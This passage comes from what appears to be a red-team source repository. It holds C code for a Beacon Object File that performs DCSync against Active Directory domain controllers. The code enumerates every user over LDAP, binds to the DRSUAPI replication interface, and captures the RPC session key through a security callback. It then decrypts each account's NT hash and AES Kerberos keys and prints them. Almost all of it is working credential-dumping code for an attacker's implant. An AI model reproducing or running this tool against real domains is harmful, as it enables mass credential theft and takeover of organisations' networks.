\n    MSVCRT$memset(dsname, 0, structLen);\n    dsname->structLen = structLen;\n    dsname->NameLen = (DWORD)wDnLen;  // Length WITHOUT null terminator\n    dsname->SidLen = 0;  // Not providing SID\n    \n    // Copy GUID if provided\n    if (guid) {\n        MSVCRT$memcpy(&dsname->Guid, guid, sizeof(GUID));\n    } else {\n        MSVCRT$memset(&dsname->Guid, 0, sizeof(GUID));\n    }\n    \n    // Copy the wide string DN (including null terminator)\n    for (size_t i = 0; i <= wDnLen; i++) {  // <= to include null terminator\n        dsname->StringName[i] = wDn[i];\n    }\n    \n    MSVCRT$free(wDn);\n    return dsname;\n}\n\nRPC_BINDING_HANDLE CreateDRSBinding(const char* dcHostname) {\n    RPC_BINDING_HANDLE binding = NULL;\n    unsigned char* stringBinding = NULL;\n    RPC_STATUS status;\n    \n    // Build RPC string binding for DRSUAPI\n    // Format: ncacn_ip_tcp:hostname[endpoint]\n    status = RPCRT4$RpcStringBindingComposeA(\n        NULL,                           // Object UUID\n        (unsigned char*)\"ncacn_ip_tcp\", // Protocol sequence\n        (unsigned char*)dcHostname,     // Network address\n        NULL,                           // Use dynamic endpoint\n        NULL,                           // No options\n        &stringBinding\n    );\n    \n    if (status != RPC_S_OK) {\n        ERROR_PRINT( \"[-] Failed to compose RPC string binding: 0x%x\", status);\n        return NULL;\n    }\n    \n    // Create binding handle\n    status = RPCRT4$RpcBindingFromStringBindingA(stringBinding, &binding);\n    RPCRT4$RpcStringFreeA(&stringBinding);\n    \n    if (status != RPC_S_OK) {\n        ERROR_PRINT( \"[-] Failed to create RPC binding: 0x%x\", status);\n        return NULL;\n    }\n    \n    // Set authentication info (use Kerberos/NTLM via NEGOTIATE)\n    // Use NULL for SPN to let RPC determine the correct service principal\n    status = RPCRT4$RpcBindingSetAuthInfoA(\n        binding,\n        NULL,                           // Let RPC determine SPN\n        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n        RPC_C_AUTHN_GSS_NEGOTIATE,\n        NULL,                           // Use current credentials\n        RPC_C_AUTHZ_NAME\n    );\n    \n    if (status != RPC_S_OK) {\n        ERROR_PRINT( \"[-] Failed to set RPC auth info: 0x%x\", status);\n        RPCRT4$RpcBindingFree(&binding);\n        return NULL;\n    }\n    \n    // Register security callback to capture session key during authentication\n    status = RPCRT4$RpcBindingSetOption(binding, RPC_C_OPT_SECURITY_CALLBACK, (ULONG_PTR)RpcSecurityCallback);\n    if (status != RPC_S_OK) {\n        ERROR_PRINT( \"[-] Failed to set security callback: 0x%x\", status);\n        RPCRT4$RpcBindingFree(&binding);\n        return NULL;\n    }\n\n    return binding;\n}\n\nDRS_HANDLE BindToDRS(RPC_BINDING_HANDLE rpcBinding) {\n    DRS_HANDLE drsHandle = NULL;\n    DRS_EXTENSIONS_INT* extClient = NULL;\n    DRS_EXTENSIONS_INT* extServer = NULL;\n    UUID clientDsaUuid;\n    ULONG result;\n    \n    // Generate a random client DSA UUID\n    RPCRT4$UuidCreate(&clientDsaUuid);\n    \n    // Create DRS_EXTENSIONS_INT structure like mimikatz\n    extClient = (DRS_EXTENSIONS_INT*)MSVCRT$malloc(sizeof(DRS_EXTENSIONS_INT));\n    if (!extClient) {\n        return NULL;\n    }\n    MSVCRT$memset(extClient, 0, sizeof(DRS_EXTENSIONS_INT));\n    \n    extClient->cb = sizeof(DRS_EXTENSIONS_INT);\n    extClient->dwFlags = 0x1FFFFFFF;  // All modern capabilities\n    extClient->Pid = 0;\n    extClient->dwReplEpoch = 0;\n    \n    // Call IDL_DRSBind - using the Microsoft RPC stub\n    result = IDL_DRSBind(\n        rpcBinding,\n        &clientDsaUuid,\n        extClient,\n        &extServer,\n        &drsHandle\n    );\n    \n    MSVCRT$free(extClient);\n    MSVCRT$free(extServer);\n    \n    if (result != 0) {\n        ERROR_PRINT( \"[-] DRSBind failed: 0x%x\", result);\n        return NULL;\n    }\n\n    return drsHandle;\n}\n\nDWORD GetRIDFromSID(const BYTE* sid, DWORD sidLen) {\n    if (!sid || sidLen < 12) return 0;\n    \n    // SID structure: Revision (1) + SubAuthCount (1) + Authority (6) + SubAuths (4 * count)\n    // RID is the last SubAuth value\n    BYTE subAuthCount = sid[1];\n    if (sidLen < (8 + (subAuthCount * 4))) return 0;\n    \n    DWORD offset = 8 + ((subAuthCount - 1) * 4);\n    DWORD rid = *(DWORD*)(sid + offset);\n    \n    return rid;\n}\n\nvoid ProcessCredentials(REPLENTINFLIST* objects, const char* samAccountName, const char* distinguishedName, const char* dcHostname, const BYTE* sessionKey, DWORD sessionKeyLen, int onlyNT) {\n    if (!objects) return;\n    \n    char ntHash[33] = {0};\n    char lmHash[33] = {0};\n    char aes256Key[65] = {0};\n    char aes128Key[33] = {0};\n    BOOL foundNT = FALSE;\n    BOOL foundLM = FALSE;\n    BOOL foundAES256 = FALSE;\n    BOOL foundAES128 = FALSE;\n    DWORD userRID = 0;\n    DWORD accountType = SAM_USER_OBJECT;  // Default to user account\n    \n    // Iterate through returned objects\n    REPLENTINFLIST* current = objects;\n    while (current) {\n        ENTINF* entinf = &current->Entinf;\n        ATTRBLOCK* attrBlock = &entinf->AttrBlock;\n        \n        // FIRST PASS: Extract RID and account type (needed for decryption and salt construction)\n        for (ULONG i = 0; i < attrBlock->attrCount; i++) {\n            ATTR* attr = &attrBlock->pAttr[i];\n            ATTRTYP attrType = attr->attrTyp;\n            \n            if (attrType == ATT_OBJECT_SID && attr->AttrVal.valCount > 0) {\n                ATTRVAL* val = &attr->AttrVal.pAVal[0];\n                userRID = GetRIDFromSID(val->pVal, val->valLen);\n            }\n            else if (attrType == ATT_SAM_ACCOUNT_TYPE && attr->AttrVal.valCount > 0) {\n                ATTRVAL* val = &attr->AttrVal.pAVal[0];\n                if (val->valLen == 4) {\n                    accountType = *(DWORD*)(val->pVal);\n                }\n            }\n        }\n        \n        // SECOND PASS: Process all attributes with correct RID\n        for (ULONG i = 0; i < attrBlock->attrCount; i++) {\n            ATTR* attr = &attrBlock->pAttr[i];\n            ATTRTYP attrType = attr->attrTyp;\n            \n            // NT hash (unicodePwd) - ATTRTYP should be 0x9005A\n            if (attrType == ATT_UNICODE_PWD && attr->AttrVal.valCount > 0) {\n                ATTRVAL* val = &attr->AttrVal.pAVal[0];\n                \n                // Modern AD uses encrypted blob format with structure:\n                // For 36 bytes: [4 byte header] + [16 byte salt] + [16 byte encrypted hash]\n                // For 20 bytes: [4 byte header] + [16 byte encrypted hash]  \n                // For 16 bytes: [16 byte encrypted hash] (simple RC4)\n                \n                if (val->valLen == 16) {\n                    BYTE decrypted[16];\n                    BYTE ridBytes[4];\n                    *(DWORD*)ridBytes = userRID;\n                    \n                    if (DecryptRC4(val->pVal, 16, ridBytes, decrypted)) {\n                        BytesToHex(decrypted, 16, ntHash);\n                        foundNT = TRUE;\n                    }\n                } else if (val->valLen == 20) {\n                    BYTE decrypted[16];\n                    BYTE ridBytes[4];\n                    *(DWORD*)ridBytes = userRID;\n                    \n                    if (DecryptRC4(val->pVal + 4, 16, ridBytes, decrypted)) {\n                        BytesToHex(decrypted, 16, ntHash);\n                        foundNT = TRUE;\n                    }\n                } else if (val->valLen == 36 || val->valLen == 40) {\n                    BYTE decrypted[32];\n                    BOOL decryptSuccess = FALSE;\n                    BYTE ridBytes[4];\n                    *(DWORD*)ridBytes = userRID;\n                    \n                    if (sessionKey && sessionKeyLen > 0) {\n                        DWORD outputLen = 0;\n                        BYTE sessionDecrypted[32];\n                        if (DecryptWithSessionKey(val->pVal, val->valLen, sessionKey, sessionKeyLen, sessionDecrypted, &outputLen)) {\n                            if (outputLen >= 16) {\n                                BYTE ridDecrypted[16];\n                                if (DecryptDESWithRid(sessionDecrypted, userRID, ridDecrypted)) {\n                                    MSVCRT$memcpy(decrypted, ridDecrypted, 16);\n                                    BytesToHex(decrypted, 16, ntHash);\n                                    foundNT = TRUE;\n                                    decryptSuccess = TRUE;\n                                }\n                            }\n                        }\n                    }\n                    \n                    if (!decryptSuccess) {\n                        BYTE ridDecrypted[16];\n                        if (DecryptRC4(val->pVal + 20, 16, ridBytes, ridDecrypted) && ridDecrypted[0] != 0 && ridDecrypted[0] != 0xFF) {\n                            BytesToHex(ridDecrypted, 16, ntHash);\n                            foundNT = TRUE;\n                            decryptSuccess = TRUE;\n                        }\n                    }\n                    \n                    if (!decryptSuccess) {\n                        BYTE ridDecrypted[16];\n                        if (DecryptRC4(val->pVal + 4, 16, ridBytes, ridDecrypted) && ridDecrypted[0] != 0 && ridDecrypted[0] != 0xFF) {\n                            BytesToHex(ridDecrypted, 16, ntHash);\n                            foundNT = TRUE;\n                            decryptSuccess = TRUE;\n                        }\n                    }\n                    \n                    if (!decryptSuccess && DecryptRC4(val->pVal, 16, ridBytes, decrypted) && decrypted[0] != 0 && decrypted[0] != 0xFF) {\n                        BytesToHex(decrypted, 16, ntHash);\n                        foundNT = TRUE;\n                        decryptSuccess = TRUE;\n                    }\n                }\n            }\n            \n            if (attrType == 0x9007D && attr->AttrVal.valCount > 0) {\n                ATTRVAL* val = &attr->AttrVal.pAVal[0];\n                if (val->valLen > 65536) continue; // Sanity check\n                BYTE* decrypted = (BYTE*)MSVCRT$malloc(val->valLen);\n                if (!decrypted) continue;\n                {\n                    BYTE ridBytes[4];\n                    *(DWORD*)ridBytes = userRID;\n                    \n                    BOOL decryptSuccess = FALSE;\n                    \n                    if (sessionKey && sessionKeyLen > 0 && val->valLen > 108) {\n                        DWORD sessionDecryptedLen = 0;\n                        BYTE* sessionDecrypted = (BYTE*)MSVCRT$malloc(val->valLen);\n                        if (!sessionDecrypted) {\n                            MSVCRT$free(decrypted);\n                            continue;\n                        }\n                        \n                        if (DecryptWithSessionKey(val->pVal, val->valLen, sessionKey, sessionKeyLen, sessionDecrypted, &sessionDecryptedLen)) {\n                            MSVCRT$memcpy(decrypted, sessionDecrypted, sessionDecryptedLen);\n                            decryptSuccess = TRUE;\n                        }\n                        \n                        if (sessionDecrypted) MSVCRT$free(sessionDecrypted);\n                    }\n                    \n                    if (!decryptSuccess) {\n                        if (DecryptRC4(val->pVal, val->valLen, ridBytes, decrypted)) {\n                            decryptSuccess = TRUE;\n                        }\n                    }\n                    \n                    if (decryptSuccess) {\n                        // USER_PROPERTIES structure:\n                        // typedef struct _USER_PROPERTIES {\n                        //   DWORD Reserved1;         // offset 0 (4 bytes) - should be 0\n                        //   DWORD Length;            // offset 4 (4 bytes) - length of UserProperties data\n                        //   WORD Reserved2;          // offset 8 (2 bytes)\n                        //   WORD Reserved3;          // offset 10 (2 bytes)\n                        //   BYTE Reserved4[96];      // offset 12-107 (96 bytes)\n                        //   BYTE UserProperties[1];  // offset 108+\n                        // } USER_PROPERTIES;\n                        \n                        if (val->valLen < 108) {\n                            ERROR_PRINT( \"[!] Buffer too small for USER_PROPERTIES\");\n                            MSVCRT$free(decrypted);\n                            continue;\n                        }\n                        \n                        DWORD* pLength = (DWORD*)(decrypted + 4);\n                        BYTE* propertyData = decrypted + 108;\n                        DWORD propertyLen = val->valLen - 108;\n                        \n                        if (*pLength > 0 && *pLength <= (val->valLen - 108)) {\n                            propertyLen = *pLength;\n                        }\n                        \n                        for (DWORD i = 0; i < propertyLen - 40; i++) {\n                            if (propertyData[i] == 'P' && propertyData[i+1] == 0x00 &&\n                                propertyData[i+2] == 'r' && propertyData[i+3] == 0x00 &&\n                                propertyData[i+4] == 'i' && propertyData[i+5] == 0x00 &&\n                                propertyData[i+6] == 'm' && propertyData[i+7] == 0x00) {\n                                \n                                char packageName[128] = {0};\n                                int nameIdx = 0;\n                                for (int j = 0; j < 200 && (i + j) < propertyLen && nameIdx < 127; j += 2) {\n                                    BYTE ch = propertyData[i + j];\n                                    BYTE null = propertyData[i + j + 1];\n                                    \n                                    if (ch == 0 && null == 0) break;\n                                    if (null != 0) break;\n                                    if (ch < 0x20 || ch > 0x7E) break;\n                                    \n                                    packageName[nameIdx++] = ch;\n                                }\n                                packageName[nameIdx] = '\\0';\n                                \n                                if (nameIdx > 8 && MSVCRT$strstr(packageName, \"Kerberos\")) {\n                                    DWORD dataStart = i + (nameIdx * 2) + 2;\n                                    if (dataStart >= propertyLen) break;\n                                    DWORD remainingLen = propertyLen - dataStart;\n                                    if (remainingLen > 32768) break; // Sanity check\n                                    \n                                    BYTE* decodedValue = (BYTE*)MSVCRT$malloc(remainingLen / 2 + 1);\n                                    if (!decodedValue) break;\n                                    {\n                                        DWORD decodedLen = HexToBinary(propertyData + dataStart, remainingLen, decodedValue);\n                                        \n                                        if (decodedLen > 0) {\n                                            if (ParseKerberosKeys(decodedValue, decodedLen, samAccountName, dcHostname, accountType, aes256Key, aes128Key)) {\n                                                if (aes256Key[0] != '\\0') foundAES256 = TRUE;\n                                                if (aes128Key[0] != '\\0') foundAES128 = TRUE;\n                                            }\n                                        }\n                                        \n                                        MSVCRT$free(decodedValue);\n                                    }\n                                }\n                            }\n                        }\n                    }\n                    \n                    MSVCRT$free(decrypted);\n                }\n            }\n        }\n        \n        current = current->pNextEntInf;\n    }\n\n    // Extract domain from DN (DC=child,DC=contoso,DC=local -> child.contoso.local)\n    char domainName[256] = {0};\n    DWORD domainLen = 0;\n    if (distinguishedName) {\n        const char* p = distinguishedName;\n        while (*p) {\n            // Find \"DC=\" or \"dc=\"\n            if ((p[0] == 'D' || p[0] == 'd') && (p[1] == 'C' || p[1] == 'c') && p[2] == '=') {\n                p += 3; // Skip \"DC=\"\n                // Add separator if not first component\n                if (domainLen > 0 && domainLen < 255) {\n                    domainName[domainLen++] = '.';\n                }\n                // Copy until comma or end\n                while (*p && *p != ',' && domainLen < 255) {\n                    domainName[domainLen++] = *p++;\n                }\n            } else {\n                p++;\n            }\n        }\n        domainName[domainLen] = '\\0';\n    }\n    \n    if (accountType == SAM_USER_OBJECT) {\n        if (domainLen > 0)\n            OUTPUT_PRINT(\"\\n[*] User: %s\\\\%s\", domainName, samAccountName);\n        else\n            OUTPUT_PRINT(\"\\n[*] User: %s\", samAccountName);\n    } else if (accountType == SAM_MACHINE_ACCOUNT) {\n        if (domainLen > 0)\n            OUTPUT_PRINT(\"\\n[*] Computer: %s\\\\%s\", domainName, samAccountName);\n        else\n            OUTPUT_PRINT(\"\\n[*] Computer: %s\", samAccountName);\n    } else if (accountType == SAM_TRUST_ACCOUNT) {\n        if (domainLen > 0)\n            OUTPUT_PRINT(\"\\n[*] Trust account: %s\\\\%s\", domainName, samAccountName);\n        else\n            OUTPUT_PRINT(\"\\n[*] Trust account: %s\", samAccountName);\n    } else {\n        if (domainLen > 0)\n            OUTPUT_PRINT(\"\\n[*] Object: %s\\\\%s\", domainName, samAccountName);\n        else\n            OUTPUT_PRINT(\"\\n[*] Object: %s\", samAccountName);\n    }\n\n    // OUTPUT_PRINT(\"  %s\", samAccountName);\n    if (foundNT) OUTPUT_PRINT(\"  nt:\\t%s\", ntHash);\n    if (!onlyNT) {\n        if (foundAES256) OUTPUT_PRINT(\"  aes256:\\t%s\", aes256Key);\n        if (foundAES128) OUTPUT_PRINT(\"  aes128:\\t%s\", aes128Key);\n    }\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    BeaconDataParse(&parser, args, alen);\n    \n    // Parse arguments\n    char* ouPath = ValidateInput(BeaconDataExtract(&parser, NULL));\n    char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL));\n    int useLdaps = BeaconDataInt(&parser);\n    int onlyNT = BeaconDataInt(&parser);\n    int onlyUsers = BeaconDataInt(&parser);\n\n    // Variables for cleanup\n    RPC_BINDING_HANDLE rpcBinding = NULL;\n    DRS_HANDLE drsHandle = NULL;\n    PARTIAL_ATTR_VECTOR_V1_EXT* pPartialAttrSet = NULL;\n    PrefixTableEntry* prefixEntries = NULL;\n    unsigned char* oidCopies[10];  // Array to hold OID pointers for prefix table\n    DWORD oidCopyCount = 0;  // Track how many OIDs were allocated\n    char* dcHostname = NULL;\n    LDAP* ld = NULL;\n    DC_CONTEXT* dcContext = NULL;\n    USER_INFO* users = NULL;\n    int userCount = 0;\n    \n    // Initialize OID array\n    MSVCRT$memset(oidCopies, 0, sizeof(oidCopies));\n    \n    // Initialize LDAP connection\n    ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname);\n    if (!ld) {\n        ERROR_PRINT( \"[-] Failed to initialize LDAP\");\n        return;\n    }\n    \n    // Get DC context (defaultNamingContext + DC GUID)\n    dcContext = GetDCContext(ld, dcHostname);\n    if (!dcContext) {\n        ERROR_PRINT( \"[-] Failed to get DC context\");\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n    \n    // Enumerate all users in the domain\n    char* searchBase = (ouPath && MSVCRT$strlen(ouPath) > 0) ? ouPath : dcContext->defaultNamingContext;\n    users = EnumerateAllUsers(ld, searchBase, &userCount, onlyUsers);\n    \n    if (!users || userCount == 0) {\n        ERROR_PRINT( \"[-] No users found to sync\");\n        FreeDCContext(dcContext);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        CleanupLDAP(ld);\n        return;\n    }\n\n    // Done with LDAP\n    CleanupLDAP(ld);\n    \n    // Create RPC binding to DRSUAPI\n    rpcBinding = CreateDRSBinding(dcHostname);\n    if (!rpcBinding) {\n        ERROR_PRINT( \"[-] Failed to create DRSUAPI binding\");\n        FreeUserInfoArray(users, userCount);\n        FreeDCContext(dcContext);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        return;\n    }\n    \n    // Bind to DRS interface\n    drsHandle = BindToDRS(rpcBinding);\n    if (!drsHandle) {\n        RPCRT4$RpcBindingFree(&rpcBinding);\n        FreeUserInfoArray(users, userCount);\n        FreeDCContext(dcContext);\n        if (dcHostname) MSVCRT$free(dcHostname);\n        return;\n    }\n    \n    OUTPUT_PRINT(\"\\n[*] Starting DCSync for %d objects...\\n\", userCount);\n    \n    // Loop through all users and perform DCSync\n    for (int i = 0; i < userCount; i++) {\n        DSNAME* targetDsname = NULL;\n        BYTE* sessionKey = NULL;\n        DWORD sessionKeyLen = 0;\n        \n        // Reset session key capture for each user\n        g_SessionKeyCapturing = 0;\n        g_SessionKeyCopyLen = 0;\n        MSVCRT$memset(g_SessionKeyCopy, 0, sizeof(g_SessionKeyCopy));\n        \n        // Build DSNAME for the target object with GUID\n        targetDsname = BuildDSName(users[i].distinguishedName, &users[i].objectGuid);\n        \n        if (!targetDsname) {\n            ERROR_PRINT( \"[-] Failed to build DSNAME structure for %s\", users[i].samAccountName);\n            continue;\n        }\n        \n        // Prepare GetNCChanges request (V8)\n        DRS_MSG_GETCHGREQ request;\n        InitDRSRequest(&request, &dcContext->dcObjectGuid, targetDsname);\n        \n        // Disabling this for the all users version, it's probably unnecessary\n        //KERNEL32$Sleep(100); // Small delay for drs response and session key syncing\n\n        // Make the DRSGetNCChanges call\n        DWORD outVersion = 0;\n        DRS_MSG_GETCHGREPLY reply;\n        MSVCRT$memset(&reply, 0, sizeof(reply));\n        \n        // Using V8 request (gets V1 or V6 reply)\n        ULONG result = IDL_DRSGetNCChanges(\n            drsHandle,\n            8,\n            &request,\n            &outVersion,\n            &reply\n        );\n        \n        if (result != 0) {\n            ERROR_PRINT( \"[-] DRSGetNCChanges failed for %s: 0x%x (%u)\", users[i].samAccountName, result, result);\n            MSVCRT$free(targetDsname);\n            continue;\n        }\n        \n        // Copy session key from callback's static buffer (if captured)\n        if (g_SessionKeyCopyLen > 0 && g_SessionKeyCopyLen <= 256) {\n            sessionKey = (BYTE*)MSVCRT$malloc(g_SessionKeyCopyLen);\n            if (sessionKey) {\n                MSVCRT$memcpy(sessionKey, g_SessionKeyCopy, g_SessionKeyCopyLen);\n                sessionKeyLen = g_SessionKeyCopyLen;\n            }\n        }\n        \n        // Process the reply based on version - access correct union member\n        REPLENTINFLIST* objects = NULL;\n\n        switch (outVersion) {\n            case 1:\n                objects = reply.V1.pObjects;\n                break;\n            case 6:\n            case 7:\n            case 9:\n                objects = reply.V6.pObjects;  // V6 structure\n                break;\n            default:\n                ERROR_PRINT( \"[!] Unexpected reply version for %s: %u\", users[i].samAccountName, outVersion);\n                if (sessionKey) MSVCRT$free(sessionKey);\n                MSVCRT$free(targetDsname);\n                continue;\n        }\n\n        // Process and decrypt credentials\n        if (objects) {\n            ProcessCredentials(objects, users[i].samAccountName, users[i].distinguishedName, dcHostname, sessionKey, sessionKeyLen, onlyNT);\n        }\n        \n        // Cleanup for this user\n        if (sessionKey) {\n            MSVCRT$free(sessionKey);\n        }\n        MSVCRT$free(targetDsname);\n    }\n    \n    OUTPUT_PRINT(\"\\n[+] DCSync complete for %d objects\", userCount);\n    \n    // Cleanup\n    if (drsHandle) IDL_DRSUnbind(&drsHandle);\n    if (rpcBinding) RPCRT4$RpcBindingFree(&rpcBinding);\n    if (pPartialAttrSet) MSVCRT$free(pPartialAttrSet);\n\n    // Free all OID copies\n    for (DWORD i = 0; i < oidCopyCount; i++) {\n        if (oidCopies[i]) MSVCRT$free(oidCopies[i]);\n    }\n    \n    if (prefixEntries) MSVCRT$free(prefixEntries);\n    FreeUserInfoArray(users, userCount);\n    FreeDCContext(dcContext);\n    if (dcHostname) MSVCRT$free(dcHostname);\n}"
  },
  {
    "path": "AD-BOF/DCSync-BOF/src/dcsync-single.c",
    "content": "#include \"../_include/dcsync.h\"\n#include \"../_include/beacon.h\"\n\n#include \"../util/ldap_common.c\"\n\n\nvoid BytesToHex(const BYTE* bytes, DWORD len, char* output) {\n    const char* hexChars = \"0123456789abcdef\";\n    for (DWORD i = 0; i < len; i++) {\n        output[i * 2] = hexChars[(bytes[i] >> 4) & 0xF];\n        output[i * 2 + 1] = hexChars[bytes[i] & 0xF];\n    }\n    output[len * 2] = '\\0';\n}\n\n// Session key captured by callback - one-time copy only\nstatic BYTE g_SessionKeyCopy[256] = {0};\nstatic DWORD g_SessionKeyCopyLen = 0;\nstatic volatile LONG g_SessionKeyCapturing = 0;\n\nvoid RPC_ENTRY RpcSecurityCallback(void *Context) {\n    // Atomic check-and-set: only one thread can pass this\n    if (InterlockedCompareExchange(&g_SessionKeyCapturing, 1, 0) != 0) {\n        return; // Another thread is already capturing or has captured\n    }\n    \n    PCtxtHandle pSecurityContext = NULL;\n    SecPkgContext_SessionKey sessionKey = {0, NULL};\n    \n    if (RPCRT4$I_RpcBindingInqSecurityContext(Context, (void**)&pSecurityContext) != RPC_S_OK || !pSecurityContext) {\n        return;\n    }\n    \n    if (SECUR32$QueryContextAttributesA(pSecurityContext, SECPKG_ATTR_SESSION_KEY, &sessionKey) == SEC_E_OK &&\n        sessionKey.SessionKeyLength > 0 && sessionKey.SessionKeyLength <= 256 && sessionKey.SessionKey) {\n        \n        // Copy session key to static buffer\n        MSVCRT$memcpy(g_SessionKeyCopy, sessionKey.SessionKey, sessionKey.SessionKeyLength);\n        g_SessionKeyCopyLen = sessionKey.SessionKeyLength;\n        \n        SECUR32$FreeContextBuffer(sessionKey.SessionKey);\n    }\n}\n\nBOOL DecryptWithSessionKey(const BYTE* encryptedData, DWORD encryptedLen, const BYTE* sessionKey, DWORD sessionKeyLen, BYTE* output, DWORD* outputLen) {\n    if (!encryptedData || !sessionKey || !output || encryptedLen < 20) {\n        return FALSE;\n    }\n    \n    const BYTE* salt = encryptedData;\n    const BYTE* encPayload = encryptedData + 16;\n    DWORD encPayloadLen = encryptedLen - 16;\n    \n    HCRYPTPROV hProv = 0;\n    HCRYPTHASH hHash = 0;\n    BYTE derivedKey[16];\n    DWORD derivedKeyLen = 16;\n    \n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) ||\n        !ADVAPI32$CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {\n        if (hProv) ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n    \n    ADVAPI32$CryptHashData(hHash, sessionKey, sessionKeyLen, 0);\n    ADVAPI32$CryptHashData(hHash, salt, 16, 0);\n    \n    if (!ADVAPI32$CryptGetHashParam(hHash, HP_HASHVAL, derivedKey, &derivedKeyLen, 0)) {\n        ADVAPI32$CryptDestroyHash(hHash);\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n    \n    ADVAPI32$CryptDestroyHash(hHash);\n    ADVAPI32$CryptReleaseContext(hProv, 0);\n\n    BYTE* tempOutput = (BYTE*)MSVCRT$malloc(encPayloadLen);\n    if (!tempOutput) {\n        return FALSE;\n    }\n    \n    BOOL result = DecryptRC4WithRawKey(encPayload, encPayloadLen, derivedKey, 16, tempOutput);\n    \n    if (result && encPayloadLen > 4) {\n            DWORD receivedChecksum = *(DWORD*)tempOutput;\n            DWORD realDataLen = encPayloadLen - 4;\n            BYTE* realData = tempOutput + 4;\n            \n            DWORD calculatedChecksum = 0xFFFFFFFF;  \n            for (DWORD i = 0; i < realDataLen; i++) {\n                DWORD byte = realData[i];\n                calculatedChecksum = calculatedChecksum ^ byte;\n                for (int j = 0; j < 8; j++) {\n                    DWORD mask = -(calculatedChecksum & 1);\n                    calculatedChecksum = (calculatedChecksum >> 1) ^ (0xEDB88320 & mask);\n                }\n            }\n            calculatedChecksum = ~calculatedChecksum;\n            \n            if (receivedChecksum == calculatedChecksum && outputLen) {\n                MSVCRT$memcpy(output, realData, realDataLen);\n                *outputLen = realDataLen;\n            } else {\n                result = FALSE;\n            }\n    } else {\n        result = FALSE;\n    }\n    \n    MSVCRT$free(tempOutput);\n    return result;\n}\n\nBOOL DecryptRC4WithRawKey(const BYTE* encData, DWORD encLen, const BYTE* key, DWORD keyLen, BYTE* output) {\n    HCRYPTPROV hProv = 0;\n    HCRYPTKEY hKey = 0;\n    BOOL success = FALSE;\n    \n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        return FALSE;\n    }\n    \n    struct {\n        BLOBHEADER hdr;\n        DWORD keySize;\n        BYTE keyBytes[16];\n    } keyBlob;\n    \n    keyBlob.hdr.bType = PLAINTEXTKEYBLOB;\n    keyBlob.hdr.bVersion = CUR_BLOB_VERSION;\n    keyBlob.hdr.reserved = 0;\n    keyBlob.hdr.aiKeyAlg = CALG_RC4;\n    keyBlob.keySize = keyLen;\n    MSVCRT$memcpy(keyBlob.keyBytes, key, keyLen);\n    \n    if (!ADVAPI32$CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(BLOBHEADER) + sizeof(DWORD) + keyLen, 0, 0, &hKey)) {\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n    \n    MSVCRT$memcpy(output, encData, encLen);\n    \n    DWORD dataLen = encLen;\n    if (ADVAPI32$CryptDecrypt(hKey, 0, TRUE, 0, output, &dataLen)) {\n        success = TRUE;\n    }\n    \n    if (hKey) ADVAPI32$CryptDestroyKey(hKey);\n    if (hProv) ADVAPI32$CryptReleaseContext(hProv, 0);\n    \n    return success;\n}\n\nBOOL DecryptRC4(const BYTE* encData, DWORD encLen, const BYTE* rid, BYTE* output) {\n    HCRYPTPROV hProv = 0;\n    HCRYPTHASH hHash = 0;\n    HCRYPTKEY hKey = 0;\n    BOOL success = FALSE;\n    \n    if (!ADVAPI32$CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {\n        return FALSE;\n    }\n    \n    if (!ADVAPI32$CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {\n        ADVAPI32$CryptReleaseContext(hProv, 0);\n        return FALSE;\n    }\n    \n    if (!ADVAPI32$CryptHashData(hHash, rid, 4, 0)) {\n        goto cleanup;\n    }\n    \n    if (!ADVAPI32$CryptDeriveKey(hProv, CALG_RC4, hHash, 0, &hKey)) {\n        goto cleanup;\n    }\n    \n    MSVCRT$memcpy(output, encData, encLen);\n    \n    DWORD dataLen = encLen;\n    if (ADVAPI32$CryptDecrypt(hKey, 0, TRUE, 0, output, &dataLen)) {\n        success = TRUE;\n    }\n    \ncleanup:\n    if (hKey) ADVAPI32$CryptDestroyKey(hKey);\n    if (hHash) ADVAPI32$CryptDestroyHash(hHash);\n    if (hProv) ADVAPI32$CryptReleaseContext(hProv, 0);\n    \n    return success;\n}\n\nBOOL DecryptDESWithRid(const BYTE* encData, DWORD rid, BYTE* output) {\n    return encData && output && ADVAPI32$SystemFunction025(encData, &rid, output) == 0;\n}\n\nDWORD HexToBinary(const BYTE* hexData, DWORD hexLen, BYTE* binaryOut) {\n    if (!hexData || !binaryOut || hexLen < 2) return 0;\n    \n    DWORD binaryLen = 0;\n    for (DWORD i = 0; i + 1 < hexLen; i += 2) {\n        BYTE high = hexData[i];\n        BYTE low = hexData[i + 1];\n        \n        // Convert ASCII hex char to nibble\n        BYTE highNibble, lowNibble;\n        \n        if (high >= '0' && high <= '9') highNibble = high - '0';\n        else if (high >= 'a' && high <= 'f') highNibble = high - 'a' + 10;\n        else if (high >= 'A' && high <= 'F') highNibble = high - 'A' + 10;\n        else break; // Invalid hex char\n        \n        if (low >= '0' && low <= '9') lowNibble = low - '0';\n        else if (low >= 'a' && low <= 'f') lowNibble = low - 'a' + 10;\n        else if (low >= 'A' && low <= 'F') lowNibble = low - 'A' + 10;\n        else break; // Invalid hex char\n        \n        binaryOut[binaryLen++] = (highNibble << 4) | lowNibble;\n    }\n    \n    return binaryLen;\n}\n\n// Parse Kerberos keys from supplementalCredentials\nBOOL ParseKerberosKeys(const BYTE* propertyData, DWORD propertyLen, const char* samAccountName, const char* dcHostname, DWORD accountType, char* aes256Out, char* aes128Out) {\n    if (!propertyData || !propertyLen || propertyLen < 32 || !samAccountName) return FALSE;\n    \n    // Skip 4-byte version prefix if present (00 00 00 01/02/03)\n    const BYTE* structStart = propertyData;\n    if (propertyData[0] 